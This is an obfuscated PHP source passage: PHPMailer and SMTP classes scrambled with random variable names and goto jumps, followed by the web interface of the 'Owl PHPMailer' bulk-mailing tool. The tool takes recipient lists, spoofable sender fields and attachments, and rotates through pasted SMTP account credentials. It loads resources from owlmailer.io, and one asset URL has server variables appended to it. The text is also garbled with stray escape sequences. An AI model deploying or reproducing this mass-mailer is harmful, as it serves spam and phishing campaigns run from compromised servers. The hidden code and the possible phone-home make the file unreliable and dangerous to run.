$naPXG = "\x9z={$zzfpb}\xd
" . "\x9|{$g7_oI}\xd\xa" . " |{$rWVwM}
\xa" . " |{$q3Ca0};\xd
" . $C0lWR;
kckti:
$UlmlF = $this->DKIM_BodyC($UlmlF);
$UKxkZ = strlen($UlmlF);
$zOwlq = base64_encode(pack("H*", hash("sha256", $UlmlF)));
if ('' == $this->DKIM_identity) {
goto HnSIw;
}
$Z_I4q = " i=" . $this->DKIM_identity . ";";
goto LU7Vx;
HnSIw:
$Z_I4q = '';
LU7Vx:
$TPDEU = "DKIM-Signature: v=1; a=" . $cO5ZR . "; q=" . $fNuyO . "; l=" . $UKxkZ . "; s=" . $this->DKIM_selector . ";
" . " t=" . $brkl5 . "; c=" . $M0r21 . ";
\xa" . " h=From:To:Date:Subject" . $Yb3B_ . ";\xd\xa" . " d=" . $this->DKIM_domain . ";" . $Z_I4q . "
" . $naPXG . "\x9bh=" . $zOwlq . ";\xd
" . "\x9b=";
$pPmfX = $this->DKIM_HeaderC($brIkc . "
" . $Z42y0 . "\xd
" . $SrMnh . "
\xa" . $drfJj . "
\xa" . $BYJBz . $TPDEU);
$ty0iw = $this->DKIM_Sign($pPmfX);
return static::normalizeBreaks($TPDEU . $ty0iw) . static::$LE;
}
public static function hasLineLongerThanMax($YX4WE)
{
return (bool) preg_match("/^(.{" . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ",})/m", $YX4WE);
}
public function getToAddresses()
{
return $this->to;
}
public function getCcAddresses()
{
return $this->cc;
}
public function getBccAddresses()
{
return $this->bcc;
}
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
protected function doCallback($JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy)
{
if (!(!empty($this->action_function) and is_callable($this->action_function))) {
goto wTcaJ;
}
call_user_func($this->action_function, $JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy);
wTcaJ:
}
public function getOAuth()
{
return $this->oauth;
}
public function setOAuth(OAuth $pCSB8)
{
$this->oauth = $pCSB8;
}
}
class SMTP
{
const VERSION = "6.0.7";
const LE = "\xd\xa";
const DEFAULT_PORT = 25;
const MAX_LINE_LENGTH = 998;
const DEBUG_OFF = 0;
const DEBUG_CLIENT = 1;
const DEBUG_SERVER = 2;
const DEBUG_CONNECTION = 3;
const DEBUG_LOWLEVEL = 4;
public $do_debug = self::DEBUG_OFF;
public $Debugoutput = "echo";
public $do_verp = false;
public $Timeout = 300;
public $Timelimit = 300;
protected $smtp_transaction_id_patterns = ["exim" => "/[\d]{3} OK id=(.*)/", "sendmail" => "/[\d]{3} 2.0.0 (.*) Message/", "postfix" => "/[\d]{3} 2.0.0 Ok: queued as (.*)/", "Microsoft_ESMTP" => "/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/", "Amazon_SES" => "/[\d]{3} Ok (.*)/", "SendGrid" => "/[\d]{3} Ok: queued as (.*)/", "CampaignMonitor" => "/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/"];
protected $last_smtp_transaction_id;
protected $smtp_conn;
protected $error = ["error" => '', "detail" => '', "smtp_code" => '', "smtp_code_ex" => ''];
protected $helo_rply = null;
protected $server_caps = null;
protected $last_reply = '';
protected function edebug($YX4WE, $vdarJ = 0)
{
if (!($vdarJ > $this->do_debug)) {
goto zZOEi;
}
return;
zZOEi:
if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
goto MAyrO;
}
$this->Debugoutput->debug($YX4WE);
return;
MAyrO:
if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) {
goto tJNS7;
}
call_user_func($this->Debugoutput, $YX4WE, $vdarJ);
return;
tJNS7:
switch ($this->Debugoutput) {
case "error_log":
error_log($YX4WE);
goto cc5Yh;
case "html":
echo gmdate("Y-m-d H:i:s"), " ", htmlentities(preg_replace("/[\r\n]+/", '', $YX4WE), ENT_QUOTES, "UTF-8"), "<br>
";
goto cc5Yh;
case "echo":
default:
$YX4WE = preg_replace("/\r\n|\r/ms", "
", $YX4WE);
echo gmdate("Y-m-d H:i:s"), " ", trim(str_replace("
", "\xa \x9 ", trim($YX4WE))), "\xa";
}
p81iu:
cc5Yh:
}
public function connect($S1iUU, $qnls6 = null, $yMz18 = 30, $p0n3v = [])
{
static $Xfza1;
if (!(null === $Xfza1)) {
goto Taxs0;
}
$Xfza1 = function_exists("stream_socket_client");
Taxs0:
$this->setError('');
if (!$this->connected()) {
goto tmimp;
}
$this->setError("Already connected to a server");
return false;
tmimp:
if (!empty($qnls6)) {
goto idodg;
}
$qnls6 = self::DEFAULT_PORT;
idodg:
$this->edebug("Connection: opening to {$S1iUU}:{$qnls6}, timeout={$yMz18}, options=" . (count($p0n3v) > 0 ? var_export($p0n3v, true) : "array()"), self::DEBUG_CONNECTION);
$rXtrb = 0;
$lsf1w = '';
if ($Xfza1) {
goto c7o7i;
}
$this->edebug("Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION);
set_error_handler([$this, "errorHandler"]);
$this->smtp_conn = fsockopen($S1iUU, $qnls6, $rXtrb, $lsf1w, $yMz18);
restore_error_handler();
goto SIx9F;
c7o7i:
$Civ9H = stream_context_create($p0n3v);
set_error_handler([$this, "errorHandler"]);
$this->smtp_conn = stream_socket_client($S1iUU . ":" . $qnls6, $rXtrb, $lsf1w, $yMz18, STREAM_CLIENT_CONNECT, $Civ9H);
restore_error_handler();
SIx9F:
if (is_resource($this->smtp_conn)) {
goto KRIaT;
}
$this->setError("Failed to connect to server", '', (string) $rXtrb, (string) $lsf1w);
$this->edebug("SMTP ERROR: " . $this->error["error"] . ": {$lsf1w} ({$rXtrb})", self::DEBUG_CLIENT);
return false;
KRIaT:
$this->edebug("Connection: opened", self::DEBUG_CONNECTION);
if (!(substr(PHP_OS, 0, 3) != "WIN")) {
goto VuH0S;
}
$PtSJw = ini_get("max_execution_time");
if (!(0 != $PtSJw and $yMz18 > $PtSJw)) {
goto AMGh0;
}
@set_time_limit($yMz18);
AMGh0:
stream_set_timeout($this->smtp_conn, $yMz18, 0);
VuH0S:
$xeFEM = $this->get_lines();
$this->edebug("SERVER -> CLIENT: " . $xeFEM, self::DEBUG_SERVER);
return true;
}
public function startTLS()
{
if ($this->sendCommand("STARTTLS", "STARTTLS", 220)) {
goto VeHsr;
}
return false;
VeHsr:
$VyyQ3 = STREAM_CRYPTO_METHOD_TLS_CLIENT;
if (!defined("STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT")) {
goto vIp23;
}
$VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
$VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
vIp23:
set_error_handler([$this, "errorHandler"]);
$Wvvh6 = stream_socket_enable_crypto($this->smtp_conn, true, $VyyQ3);
restore_error_handler();
return (bool) $Wvvh6;
}
public function authenticate($t7mwF, $RNSkS, $BuaXA = null, $j1oGl = null)
{
if ($this->server_caps) {
goto L2isw;
}
$this->setError("Authentication is not allowed before HELO/EHLO");
return false;
L2isw:
if (array_key_exists("EHLO", $this->server_caps)) {
goto ndn3V;
}
if (empty($BuaXA)) {
goto inARk;
}
goto Bfl19;
ndn3V:
if (array_key_exists("AUTH", $this->server_caps)) {
goto UNkDO;
}
$this->setError("Authentication is not allowed at this stage");
return false;
UNkDO:
$this->edebug("Auth method requested: " . ($BuaXA ? $BuaXA : "UNSPECIFIED"), self::DEBUG_LOWLEVEL);
$this->edebug("Auth methods available on the server: " . implode(",", $this->server_caps["AUTH"]), self::DEBUG_LOWLEVEL);
if (!(null !== $BuaXA and !in_array($BuaXA, $this->server_caps["AUTH"]))) {
goto CHr6X;
}
$this->edebug("Requested auth method not available: " . $BuaXA, self::DEBUG_LOWLEVEL);
$BuaXA = null;
CHr6X:
if (!empty($BuaXA)) {
goto ajOb9;
}
foreach (["CRAM-MD5", "LOGIN", "PLAIN", "XOAUTH2"] as $MGcrK) {
if (!in_array($MGcrK, $this->server_caps["AUTH"])) {
goto qSeQW;
}
$BuaXA = $MGcrK;
goto sldN6;
qSeQW:
uGKb8:
}
sldN6:
if (!empty($BuaXA)) {
goto tImi4;
}
$this->setError("No supported authentication methods found");
return false;
tImi4:
self::edebug("Auth method selected: " . $BuaXA, self::DEBUG_LOWLEVEL);
ajOb9:
if (in_array($BuaXA, $this->server_caps["AUTH"])) {
goto qp40S;
}
$this->setError("The requested authentication method "{$BuaXA}" is not supported by the server");
return false;
qp40S:
goto Bfl19;
inARk:
$BuaXA = "LOGIN";
Bfl19:
switch ($BuaXA) {
case "PLAIN":
if ($this->sendCommand("AUTH", "AUTH PLAIN", 334)) {
goto kWadR;
}
return false;
kWadR:
if ($this->sendCommand("User & Password", base64_encode("\0" . $t7mwF . "\0" . $RNSkS), 235)) {
goto q4DXc;
}
return false;
q4DXc:
goto NaECh;
case "LOGIN":
if ($this->sendCommand("AUTH", "AUTH LOGIN", 334)) {
goto qklOA;
}
return false;
qklOA:
if ($this->sendCommand("Username", base64_encode($t7mwF), 334)) {
goto xCHMu;
}
return false;
xCHMu:
if ($this->sendCommand("Password", base64_encode($RNSkS), 235)) {
goto UCGWz;
}
return false;
UCGWz:
goto NaECh;
case "CRAM-MD5":
if ($this->sendCommand("AUTH CRAM-MD5", "AUTH CRAM-MD5", 334)) {
goto b6tLc;
}
return false;
b6tLc:
$kjlMP = base64_decode(substr($this->last_reply, 4));
$NxYHM = $t7mwF . " " . $this->hmac($kjlMP, $RNSkS);
return $this->sendCommand("Username", base64_encode($NxYHM), 235);
case "XOAUTH2":
if (!(null === $j1oGl)) {
goto sy2ZK;
}
return false;
sy2ZK:
$pCSB8 = $j1oGl->getOauth64();
if ($this->sendCommand("AUTH", "AUTH XOAUTH2 " . $pCSB8, 235)) {
goto Pqa0h;
}
return false;
Pqa0h:
goto NaECh;
default:
$this->setError("Authentication method "{$BuaXA}" is not supported");
return false;
}
CYSfo:
NaECh:
return true;
}
protected function hmac($FJQWD, $pEv6e)
{
if (!function_exists("hash_hmac")) {
goto Q0K1a;
}
return hash_hmac("md5", $FJQWD, $pEv6e);
Q0K1a:
$QJf2s = 64;
if (!(strlen($pEv6e) > $QJf2s)) {
goto MM2Ee;
}
$pEv6e = pack("H*", md5($pEv6e));
MM2Ee:
$pEv6e = str_pad($pEv6e, $QJf2s, chr(0x0));
$Con44 = str_pad('', $QJf2s, chr(0x36));
$PPQHU = str_pad('', $QJf2s, chr(0x5c));
$roHAi = $pEv6e ^ $Con44;
$PLEIS = $pEv6e ^ $PPQHU;
return md5($PLEIS . pack("H*", md5($roHAi . $FJQWD)));
}
public function connected()
{
if (!is_resource($this->smtp_conn)) {
goto JVLCi;
}
$LcQ1t = stream_get_meta_data($this->smtp_conn);
if (!$LcQ1t["eof"]) {
goto wx7HR;
}
$this->edebug("SMTP NOTICE: EOF caught while checking if connected", self::DEBUG_CLIENT);
$this->close();
return false;
wx7HR:
return true;
JVLCi:
return false;
}
public function close()
{
$this->setError('');
$this->server_caps = null;
$this->helo_rply = null;
if (!is_resource($this->smtp_conn)) {
goto pKyRx;
}
fclose($this->smtp_conn);
$this->smtp_conn = null;
$this->edebug("Connection: closed", self::DEBUG_CONNECTION);
pKyRx:
}
public function data($A9qXM)
{
if ($this->sendCommand("DATA", "DATA", 354)) {
goto QK5z3;
}
return false;
QK5z3:
$yCe67 = explode("
", str_replace(["\xd\xa", "
"], "
", $A9qXM));
$UFDNA = substr($yCe67[0], 0, strpos($yCe67[0], ":"));
$YD9wJ = false;
if (!(!empty($UFDNA) and strpos($UFDNA, " ") === false)) {
goto laapZ;
}
$YD9wJ = true;
laapZ:
foreach ($yCe67 as $rYeep) {
$jIZfu = [];
if (!($YD9wJ and $rYeep == '')) {
goto M6sgF;
}
$YD9wJ = false;
M6sgF:
WsicF:
if (!isset($rYeep[self::MAX_LINE_LENGTH])) {
goto Caalj;
}
$lLiqT = strrpos(substr($rYeep, 0, self::MAX_LINE_LENGTH), " ");
if (!$lLiqT) {
goto oM1xf;
}
$jIZfu[] = substr($rYeep, 0, $lLiqT);
$rYeep = substr($rYeep, $lLiqT + 1);
goto GoJmV;
oM1xf:
$lLiqT = self::MAX_LINE_LENGTH - 1;
$jIZfu[] = substr($rYeep, 0, $lLiqT);
$rYeep = substr($rYeep, $lLiqT);
GoJmV:
if (!$YD9wJ) {
goto D0uHx;
}
$rYeep = "\x9" . $rYeep;
D0uHx:
goto WsicF;
Caalj:
$jIZfu[] = $rYeep;
foreach ($jIZfu as $ciT4j) {
if (!(!empty($ciT4j) and $ciT4j[0] == ".")) {
goto ONHmM;
}
$ciT4j = "." . $ciT4j;
ONHmM:
$this->client_send($ciT4j . static::LE, "DATA");
ITYgP:
}
a1iq1:
T7zSo:
}
vRVyP:
$BRJq2 = $this->Timelimit;
$this->Timelimit = $this->Timelimit * 2;
$HYIC3 = $this->sendCommand("DATA END", ".", 250);
$this->recordLastTransactionID();
$this->Timelimit = $BRJq2;
return $HYIC3;
}
public function hello($S1iUU = '')
{
return $this->sendHello("EHLO", $S1iUU) or $this->sendHello("HELO", $S1iUU);
}
protected function sendHello($njo9Y, $S1iUU)
{
$T__mp = $this->sendCommand($njo9Y, $njo9Y . " " . $S1iUU, 250);
$this->helo_rply = $this->last_reply;
if ($T__mp) {
goto tRS8O;
}
$this->server_caps = null;
goto Tv9Up;
tRS8O:
$this->parseHelloFields($njo9Y);
Tv9Up:
return $T__mp;
}
protected function parseHelloFields($W7B1j)
{
$this->server_caps = [];
$yCe67 = explode("
", $this->helo_rply);
foreach ($yCe67 as $j0kQ0 => $nkurT) {
$nkurT = trim(substr($nkurT, 4));
if (!empty($nkurT)) {
goto V4zCo;
}
goto TK7tY;
V4zCo:
$G4B70 = explode(" ", $nkurT);
if (empty($G4B70)) {
goto P0vV4;
}
if (!$j0kQ0) {
goto LmuOt;
}
$dEC3m = array_shift($G4B70);
switch ($dEC3m) {
case "SIZE":
$G4B70 = $G4B70 ? $G4B70[0] : 0;
goto CCwHQ;
case "AUTH":
if (is_array($G4B70)) {
goto Cp24N;
}
$G4B70 = [];
Cp24N:
goto CCwHQ;
default:
$G4B70 = true;
}
MgtH4:
CCwHQ:
goto f7wUd;
LmuOt:
$dEC3m = $W7B1j;
$G4B70 = $G4B70[0];
f7wUd:
$this->server_caps[$dEC3m] = $G4B70;
P0vV4:
TK7tY:
}
rt_Yf:
}
public function mail($zzfpb)
{
$hwXU1 = $this->do_verp ? " XVERP" : '';
return $this->sendCommand("MAIL FROM", "MAIL FROM:<" . $zzfpb . ">" . $hwXU1, 250);
}
public function quit($y4wbn = true)
{
$T__mp = $this->sendCommand("QUIT", "QUIT", 221);
$yhEFW = $this->error;
if (!($T__mp or $y4wbn)) {
goto HLrNq;
}
$this->close();
$this->error = $yhEFW;
HLrNq:
return $T__mp;
}
public function recipient($w1_0x, $GqLn3 = '')
{
if (empty($GqLn3)) {
goto JiLXi;
}
$GqLn3 = strtoupper($GqLn3);
$jLZ2_ = [];
if (strpos($GqLn3, "NEVER") !== false) {
goto EYKSu;
}
foreach (["SUCCESS", "FAILURE", "DELAY"] as $GywUj) {
if (!(strpos($GqLn3, $GywUj) !== false)) {
goto ssY44;
}
$jLZ2_[] = $GywUj;
ssY44:
GSWj3:
}
RDJ3m:
goto l8O1S;
EYKSu:
$jLZ2_[] = "NEVER";
l8O1S:
$DoDCn = "RCPT TO:<" . $w1_0x . "> NOTIFY=" . implode(",", $jLZ2_);
goto nllRo;
JiLXi:
$DoDCn = "RCPT TO:<" . $w1_0x . ">";
nllRo:
return $this->sendCommand("RCPT TO", $DoDCn, [250, 251]);
}
public function reset()
{
return $this->sendCommand("RSET", "RSET", 250);
}
protected function sendCommand($HpHJw, $TygF6, $iqPuy)
{
if ($this->connected()) {
goto Epjht;
}
$this->setError("Called {$HpHJw} without being connected");
return false;
Epjht:
if (!(strpos($TygF6, "
") !== false or strpos($TygF6, "
") !== false)) {
goto wgzXg;
}
$this->setError("Command '{$HpHJw}' contained line breaks");
return false;
wgzXg:
$this->client_send($TygF6 . static::LE, $HpHJw);
$this->last_reply = $this->get_lines();
$I3B9w = [];
if (preg_match("/^([0-9]{3})[ -](?:([0-9]\.[0-9]\.[0-9]{1,2}) )?/", $this->last_reply, $I3B9w)) {
goto mNDiC;
}
$GRPqa = substr($this->last_reply, 0, 3);
$oH4Wx = null;
$uPrCC = substr($this->last_reply, 4);
goto HWOpx;
mNDiC:
$GRPqa = $I3B9w[1];
$oH4Wx = count($I3B9w) > 2 ? $I3B9w[2] : null;
$uPrCC = preg_replace("/{$GRPqa}[ -]" . ($oH4Wx ? str_replace(".", "\.", $oH4Wx) . " " : '') . "/m", '', $this->last_reply);
HWOpx:
$this->edebug("SERVER -> CLIENT: " . $this->last_reply, self::DEBUG_SERVER);
if (in_array($GRPqa, (array) $iqPuy)) {
goto eHlHk;
}
$this->setError("{$HpHJw} command failed", $uPrCC, $GRPqa, $oH4Wx);
$this->edebug("SMTP ERROR: " . $this->error["error"] . ": " . $this->last_reply, self::DEBUG_CLIENT);
return false;
eHlHk:
$this->setError('');
return true;
}
public function sendAndMail($zzfpb)
{
return $this->sendCommand("SAML", "SAML FROM:{$zzfpb}", 250);
}
public function verify($dEC3m)
{
return $this->sendCommand("VRFY", "VRFY {$dEC3m}", [250, 251]);
}
public function noop()
{
return $this->sendCommand("NOOP", "NOOP", 250);
}
public function turn()
{
$this->setError("The SMTP TURN command is not implemented");
$this->edebug("SMTP NOTICE: " . $this->error["error"], self::DEBUG_CLIENT);
return false;
}
public function client_send($FJQWD, $HpHJw = '')
{
if (self::DEBUG_LOWLEVEL > $this->do_debug and in_array($HpHJw, ["User & Password", "Username", "Password"], true)) {
goto C57T2;
}
$this->edebug("CLIENT -> SERVER: " . $FJQWD, self::DEBUG_CLIENT);
goto oVMZ8;
C57T2:
$this->edebug("CLIENT -> SERVER: <credentials hidden>", self::DEBUG_CLIENT);
oVMZ8:
set_error_handler([$this, "errorHandler"]);
$HYIC3 = fwrite($this->smtp_conn, $FJQWD);
restore_error_handler();
return $HYIC3;
}
public function getError()
{
return $this->error;
}
public function getServerExtList()
{
return $this->server_caps;
}
public function getServerExt($dEC3m)
{
if ($this->server_caps) {
goto c8YAb;
}
$this->setError("No HELO/EHLO was sent");
return;
c8YAb:
if (array_key_exists($dEC3m, $this->server_caps)) {
goto x3Fm9;
}
if (!("HELO" == $dEC3m)) {
goto o_rIh;
}
return $this->server_caps["EHLO"];
o_rIh:
if (!("EHLO" == $dEC3m || array_key_exists("EHLO", $this->server_caps))) {
goto oZ_BV;
}
return false;
oZ_BV:
$this->setError("HELO handshake was used; No information about server extensions available");
return;
x3Fm9:
return $this->server_caps[$dEC3m];
}
public function getLastReply()
{
return $this->last_reply;
}
protected function get_lines()
{
if (is_resource($this->smtp_conn)) {
goto J3Q8N;
}
return '';
J3Q8N:
$FJQWD = '';
$PMSOC = 0;
stream_set_timeout($this->smtp_conn, $this->Timeout);
if (!($this->Timelimit > 0)) {
goto idgxd;
}
$PMSOC = time() + $this->Timelimit;
idgxd:
$E7OLR = [$this->smtp_conn];
$p6c00 = null;
QLcAL:
if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) {
goto P8pF2;
}
if (stream_select($E7OLR, $p6c00, $p6c00, $this->Timelimit)) {
goto r2AJq;
}
$this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::DEBUG_LOWLEVEL);
goto P8pF2;
r2AJq:
$YX4WE = @fgets($this->smtp_conn, 515);
$this->edebug("SMTP INBOUND: "" . trim($YX4WE) . """, self::DEBUG_LOWLEVEL);
$FJQWD .= $YX4WE;
if (!(!isset($YX4WE[3]) or isset($YX4WE[3]) and $YX4WE[3] == " ")) {
goto X4avt;
}
goto P8pF2;
X4avt:
$fgoJU = stream_get_meta_data($this->smtp_conn);
if (!$fgoJU["timed_out"]) {
goto cQk94;
}
$this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::DEBUG_LOWLEVEL);
goto P8pF2;
cQk94:
if (!($PMSOC and time() > $PMSOC)) {
goto BfCox;
}
$this->edebug("SMTP -> get_lines(): timelimit reached (" . $this->Timelimit . " sec)", self::DEBUG_LOWLEVEL);
goto P8pF2;
BfCox:
goto QLcAL;
P8pF2:
return $FJQWD;
}
public function setVerp($cgoP4 = false)
{
$this->do_verp = $cgoP4;
}
public function getVerp()
{
return $this->do_verp;
}
protected function setError($GRJNx, $uPrCC = '', $bWnuE = '', $ivOgZ = '')
{
$this->error = ["error" => $GRJNx, "detail" => $uPrCC, "smtp_code" => $bWnuE, "smtp_code_ex" => $ivOgZ];
}
public function setDebugOutput($MGcrK = "echo")
{
$this->Debugoutput = $MGcrK;
}
public function getDebugOutput()
{
return $this->Debugoutput;
}
public function setDebugLevel($vdarJ = 0)
{
$this->do_debug = $vdarJ;
}
public function getDebugLevel()
{
return $this->do_debug;
}
public function setTimeout($yMz18 = 0)
{
$this->Timeout = $yMz18;
}
public function getTimeout()
{
return $this->Timeout;
}
protected function errorHandler($rXtrb, $iZwv6, $JG32u = '', $ZtLKr = 0)
{
$fUXiU = "Connection failed.";
$this->setError($fUXiU, $iZwv6, (string) $rXtrb);
$this->edebug("{$fUXiU} Error #{$rXtrb}: {$iZwv6} [{$JG32u} line {$ZtLKr}]", self::DEBUG_CONNECTION);
}
protected function recordLastTransactionID()
{
$ik9JE = $this->getLastReply();
if (empty($ik9JE)) {
goto LbjqT;
}
$this->last_smtp_transaction_id = false;
foreach ($this->smtp_transaction_id_patterns as $Z7VJu) {
if (!preg_match($Z7VJu, $ik9JE, $I3B9w)) {
goto TUluN;
}
$this->last_smtp_transaction_id = trim($I3B9w[1]);
goto e4XQZ;
TUluN:
PnqB4:
}
e4XQZ:
goto Q2D7f;
LbjqT:
$this->last_smtp_transaction_id = null;
Q2D7f:
return $this->last_smtp_transaction_id;
}
public function getLastTransactionID()
{
return $this->last_smtp_transaction_id;
}
}
class phpmailerException extends Exception
{
public function errorMessage()
{
$ZOBq5 = "<strong>" . $this->getMessage() . "</strong><br />
";
return $ZOBq5;
}
}
echo "<!DOCTYPE html>
<html lang="en">
\xa<head>
\xa <meta charset="utf-8">\xd\xa <meta http-equiv="X-UA-Compatible" content="IE = edge">
<meta name="viewport" content="width = device-width, initial-scale = 1">
\xa <title>Owl PHPMailer ";
echo $qeeAj["version"];
echo "</title>\xd\xa <link href="https://owlmailer.io/css/3.3.6bootstrap.min.css" rel="stylesheet">\xd
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->\xd
<script src="https://owlmailer.io/css/jquery.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://owlmailer.io/";
echo $RcI5o, $RNSkS;
echo "" />\xd\xa <script src="https://owlmailer.io/css/3.3.1bootstrap.min.js"></script>
<link rel="icon" href="https://owlmailer.io/img/favicon.ico" type="image/x-icon" />
\xd
\xd
</head>\xd\xa
\xa<body>
<script>
var running = false;
var request;\xd
</script>
\xa\xd\xa <script>
\xa Array.prototype.randomElement = function () {
\xa return this[Math.floor(Math.random() * this.length)]
\xa }
\xa\xd\xa function stopSending()\xd
{
running = false;
\xa
\xa if (request) {\xd\xa request.abort();\xd\xa }\xd\xa
\xa $("#btnStart").attr("disabled", false);
\xa $("#btnStop").attr("disabled", true);\xd\xa }
\xa\xd
function handleSendingResponse(recipient, response, processedCount, totalEmailCount) {\xd
$("#progress").append('<div class="col-lg-3">' + processedCount.toString() + '/' + totalEmailCount.toString() + '</div><div class="col-lg-6">' + recipient + '</div>');
\xa \xd\xa if (response == "OK"){
$("#progress").append('<div class="col-lg-1"><span class="label label-success">Ok</span></div>');\xd
}\xd\xa else if(response == "Incorrect Email"){\xd
$("#progress").append('<div class="col-lg-1"><span class="label label-default">Incorrect Email</span></div>');\xd
} else {
$("#progress").append('<div class="col-lg-1"><span class="label label-default">' + response + '</span></div>');
}\xd
$("#progress").append('<br>');
}\xd\xa
\xa function startSending() {\xd
\xa \xd
\xd
var eMailTextArea = document.getElementById("emailList");
\xa var eMailTextAreaLines = eMailTextArea.value.split("\n");
var smtpAccountsTextArea = document.getElementById("smtpAccounts");
\xa var smtpAccountsTextAreaLines = smtpAccountsTextArea.value.split("\n");
var encodingTypeE = document.getElementById('encoding');\xd
var encodingType = encodingTypeE.options[encodingTypeE.selectedIndex].value;\xd\xa var emailPriorityE = document.getElementById('priority');\xd
var emailPriority = emailPriorityE.options[emailPriorityE.selectedIndex].value;\xd\xa
\xa var form_data = new FormData();\xd\xa form_data.append("action", "send");\xd
form_data.append("sendingMethod", document.querySelector('input[name="sendingMethod"]:checked').value);
form_data.append("senderEmail", document.getElementById('senderEmail').value);
\xa form_data.append("senderName", document.getElementById('senderName').value);\xd
form_data.append("replyTo", document.getElementById('replyTo').value);
form_data.append("messageSubject", document.getElementById('subject').value);\xd\xa form_data.append("messageLetter", document.getElementById('messageLetter').value);\xd\xa form_data.append("altMessageLetter", document.getElementById('altMessageLetter').value);
\xa form_data.append("messageType", document.querySelector('input[name="messageType"]:checked').value);
form_data.append("encodingType", encodingType);\xd\xa form_data.append("emailPriority", emailPriority);
for (var x = 0; x < document.getElementById('attachment').files.length; x++) {
\xa form_data.append("attachment[]", document.getElementById('attachment').files[x]);\xd
}\xd
\xa $("#progress").empty();
\xa var processedCount = 0;\xd
$(function () {
\xa var i = 0;
running = true;\xd
$("#btnStart").attr("disabled", true);
$("#btnStop").attr("disabled", false);
\xa
\xa function nextCall() {\xd
if (i == eMailTextAreaLines.length){\xd
$("#btnStart").attr("disabled", false);
$("#btnStop").attr("disabled", true);\xd\xa return; //last call was last item in the array
}
\xd
// Abort any pending request\xd\xa if (request) {
\xa request.abort();
}
if(!running)
\xa {
\xa return;
}
\xa\xd
var recipient = eMailTextAreaLines[i++]
\xa form_data.append("recipient", recipient);\xd\xa form_data.append("smtpAcct", smtpAccountsTextAreaLines.randomElement());
\xa\xd
request = $.ajax({\xd\xa type: "post",\xd\xa data: form_data,
contentType: false,
\xa processData: false,\xd\xa });
\xa // Callback handler that will be called on success
request.done(function (response, textStatus, jqXHR) {\xd\xa processedCount += 1;
handleSendingResponse(recipient, response, processedCount, eMailTextAreaLines.length);
nextCall();
\xa });
}
\xa nextCall();
\xa });\xd\xa }
</script>\xd
<div class="container col-lg-6">
\xa <h3>🦉 Owl PHPMailer<small> ";
echo $qeeAj["version"];
echo "</small></h3>
<div class="row">
\xa <div class="form-group col-lg-6 ">\xd
<label for="senderEmail">Sender Email</label>\xd\xa <input type="text" class="form-control input-sm" id="senderEmail" name="senderEmail">\xd
</div>\xd\xa <div class="form-group col-lg-6 ">\xd
\x9 <form method="GET" name="";
echo basename($_SERVER["PHP_SELF"]);
echo "">\xd
<label for="senderEmail">Sender Name</label>
<input type="text" class="form-control input-sm" id="senderName" name="senderName">\xd\xa<input type="submit" value="Send" hidden />
</div>\xd\xa </div>
\xa <div class="row"> <span class="form-group col-lg-6"><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment" multiple/></span>
<div class="form-group col-lg-6">
<label for="replyTo">Reply-to</label>\xd
<input type="text" class="form-control input-sm " id="replyTo" name="replyTo" />
</div>\xd\xa </div>\xd\xa <div class="row">\xd
<div class="form-group col-lg-12 ">
\xa <label for="subject">Subject</label>\xd\xa <input type="text" class="form-control input-sm " id="subject" name="subject" />
\xa </div>\xd\xa </div>
<div class="row">\xd\xa <div class="form-group col-lg-6">
<label for="messageLetter">Message Letter</label>
\xa <textarea placeholder="Message Letter" name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea"></textarea>\xd\xa </div>\xd
<div class="form-group col-lg-6">\xd\xa <label for="altMessageLetter">Alternative Message Letter</label>
<textarea placeholder="Alternative Message Letter. This body can be read by mail clients that do not have HTML email. capability such as mutt & Eudora. Clients that can read HTML will view the normal Body." name="altMessageLetter" id="altMessageLetter" class="form-control" rows="10" id="textArea"></textarea>
\xa </div>\xd\xa </div>\xd\xa <div class="row">
\xa <div class="form-group col-lg-6 ">
<label for="emailList">Email List</label>\xd\xa <textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea"></textarea>\xd\xa </div>
<div class="form-group col-lg-6 ">\xd
<label for="smtpAccounts">SMTP Accounts</label>\xd
<textarea placeholder="Random account will be used when sending a message. 1) Format: HOST:PORT:SSL 2) Format: HOST:PORT:SSL:Username:Password Example: smtp.gmail.com:587:tls:[email protected]:123 Example: smtp.gmail.com:587:nossl:[email protected]:123 SSL Options: tls , ssl, nossl" name="smtpAccounts" id="smtpAccounts" class="form-control" rows="10" id="textArea"></textarea>\xd\xa </div>
\xa </div>\xd\xa
<div class="row">\xd\xa <div class="form-group col-lg-6 ">\xd
<label for="messageType">Message Type</label>\xd\xa <input type="radio" name="messageType" id="messageType" value="html" checked> HTML\xd
<input type="radio" name="messageType" id="messageType" value="plain"> Plain\xd
</div>
\xa <div class="form-group col-lg-6 ">
<label for="sendingMethod">Sending Method</label>
\xa <input type="radio" name="sendingMethod" id="sendingMethod" value="builtin" checked> Builtin
<input type="radio" name="sendingMethod" id="sendingMethod" value="smtp"> SMTP
\xa </div>\xd
<div class="form-group col-lg-6">\xd\xa <label for="encoding">Encoding Type</label>
\xa <select class="form-control input-sm" id="encoding" name="encoding">\xd
<option value="UTF-8" selected>UTF-8 International Unicode</option>
<option value="ISO-8859-1">ISO-8859-1 Latin 1 (West European)</option>
